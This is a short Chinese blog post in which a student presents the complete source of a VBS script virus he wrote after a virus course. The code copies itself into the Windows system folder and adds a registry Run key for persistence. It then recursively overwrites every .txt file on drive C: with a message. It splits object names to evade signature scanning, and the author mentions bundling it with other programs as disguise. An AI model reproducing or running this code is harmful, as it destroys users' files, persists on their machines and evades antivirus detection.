利用vbs脚本自己写了一个病毒
《计算机病毒与反病毒》课上完了,这周考试。为了学以致用,我在百忙中抽空编写出了一个vbs脚本病毒。大体上包括了作为一个病毒的基本功能模块。在编写完此病毒后,我使用捆绑器将病毒与其他程序进行了捆绑(伪装),效果还不错。但没法通过卡巴斯基的病毒检测,这从一个方面说明卡巴斯基的防毒查毒效果很好;另一方面说明,该病毒的欺骗性和反病毒检测的方面做的还很不够,实际上只对一些静态特征码分析进行了欺骗,所以,该病毒还有很多地方值得完善。这里给出源码,仅供参考:
'copy virus self
Set fso = CreateObject("Script"+"ing.FileSyst"+"emObject")
Set self = fso.OpenTextFile(Wscript.ScriptFullName,1)
vbsCopy = self.ReadAll
Set tsObj = fso.OpenTextFile("C:\WINDOWS\system32\syscmd.vbs",2,true)
tsObj.write vbsCopy
tsObj.close
'change regedit
Dim regWsh
Set regWsh = WScript.CreateObject("WScr"+"ipt.Shell")
regWsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\syscmd.vbs","C:\WINDOWS\system32\syscmd.vbs","REG_SZ"
'attack
scan("C:")
sub scan(folder_)
on error resume next
Set fso = WScript.CreateObject("Scripti"+"ng.FileSy"+"stemObject")
Set folder_ = fso.GetFolder(folder_)
Set files = folder_.files
for each file in files
ext = fso.GetExtensionName(file)
ext = lcase(ext)
if ext = "txt" then
str = "It's a mercy from your fans! Let's kill virus together!"
Set fileObj = fso.OpenTextFile(file,2,true)
fileObj.write str
fileObj.close
Set objShell = Wscript.CreateObject("WScri"+"pt.Shell")
objShell.Run("notep"+"ad.exe " & file)
end if
next
Set subfolders = folder_.subfolders
for each subfolder in subfolders
scan(subfolder)
next
end sub